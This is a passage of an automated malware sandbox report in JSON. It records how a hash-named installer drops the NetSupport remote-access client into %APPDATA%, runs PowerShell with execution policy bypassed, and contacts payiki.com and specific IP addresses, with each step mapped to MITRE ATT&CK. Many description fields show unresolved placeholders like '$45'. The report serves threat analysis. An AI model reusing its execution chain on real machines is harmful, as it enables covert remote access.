\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%APPDATA%\\SystemUtil\\client32.exe\"\" - (UID: 00000000-00007184)\n \"client32.exe\" called \"CreateProcessA\" with parameter \"\"%APPDATA%\\SystemUtil\\GetUserLang.exe\"\" - (UID: 00000000-00001628)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133952866092402431.7184.DefaultAppDomain.powershell\" - (UID: 00000000-00007184)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$45","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$46","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"geo.netsupportsoftware.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"151.236.16.15:443\"\n \"172.67.68.212:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"powershell.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$47","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$48","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: AudioCapture.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: remcmdstub.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: pcicapi.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: PCICL32.DLL)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-E4H59.tmp)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-44761.tmp)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: HTCTL32.DLL)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"cmd.exe /C start %s\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to load modules (API string)","description":"Found reference to API \"SymLoadModule\" (Indicator: \"LoadModule\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-424","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"Udp MoveFile %s to %s took %d ms\" (Indicator: \"MoveFile\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceA\" (Indicator: \"StartService\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartServiceCtrlDispatcher\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartService\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"StartServiceA\" (Indicator: \"StartService\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartServiceCtrlDispatcher\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartService\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$52","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$53","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\SM0:6300:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6300:168:WilStaging_02\"\n \"Local\\SM0:6300:168:WilStaging_02\"\n \"SM0:6300:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5220:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:5220:64:WilError_01\"\n \"\\BaseNamedObjects\\SyncRootManager\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5220:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:5220:168:WilStaging_02\"\n \"Local\\SM0:5220:64:WilError_01\"\n \"SM0:5220:64:WilError_01\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7184:168:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$54","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$55","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133952866092402431.7184.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\nsm_ctl32_show_%d\n Found string - \\\\.\\pipe\\nsm_vistapipe%d\n Found string - \\\\.\\pipe\\nsm_%s\n Found string - \\\\.\\pipe\\nsm_dosboxwpipe\n Found string - \\\\.\\pipe\\nsm_dosboxrpipe\n Found string - \\\\.\\pipe\\nsm_vistauipipe%d\n Found string - \\\\.\\pipe\\nsm_printpipe\n Found string - \\\\.\\pipe\\nsm_gdihook_recv\n Found string - \\\\.\\pipe\\nsm_gdihook_send","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: NetSupport Manager/1.3\" (Indicator: \"user-agent: \"; Source: \"00000000-00001628.00000001.107910.05860000.00000004.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.05860000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$56","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$57","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"client32.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched32.dll\" at 725D0000\n \"client32.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 72550000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70410000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 72460000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77BB0000\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77BB0000\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73A60000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77BB0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73A60000\n \"client32.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77BB0000\n \"client32.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73A60000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 71930000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75210000\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75210000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75210000\n \"client32.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75210000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$58","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"May be able to execute Exchange Online Remote PowerShell Modulee","description":"Found reference to API (Indicator: \"announcement from %s [announcer-apptype: 0x%x] [target-apptype: 0x%x] [flags: 0x%08x]\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.003","relevance":1,"id":"string-770","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$59","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"$5a","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$5b","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"$5c","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$5d","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$5e","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x18e000\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x16d200\" greater than 0x100000\n Raw size of \".text\" is \"0x2a9200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x18de8c\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x16d050\" greater than 0x100000\n Virtual size of \".text\" is \"0x2a910c\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"is-HK8T3.tmp\" has high imagebase \"0x64000000\"\n \"is-SMMFE.tmp\" has high imagebase \"0x61000000\"\n \"_setup64.tmp\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00005220-00000C46-79144145566]\n Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"%TEMP%\\is-\" [Source: 00000000-00005220-00000C46-79144145566], Observed system executable string:\"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00007184-00000BC0-639973388]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" (UID: 00000000-00005220) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" (UID: 00000000-00005220) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"client32.exe\" (UID: 00000000-00001628) was launched with new environment variables: \"PSExecutionPolicyPreference=\"Bypass\"\"\n Process \"client32.exe\" (UID: 00000000-00001628) was launched with modified environment variables: \"PSModulePath, PATHEXT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"geo.netsupportsoftware.com\"\n \"payiki.com\"\n \"testmycdn.azureedge.net\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$5f","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped 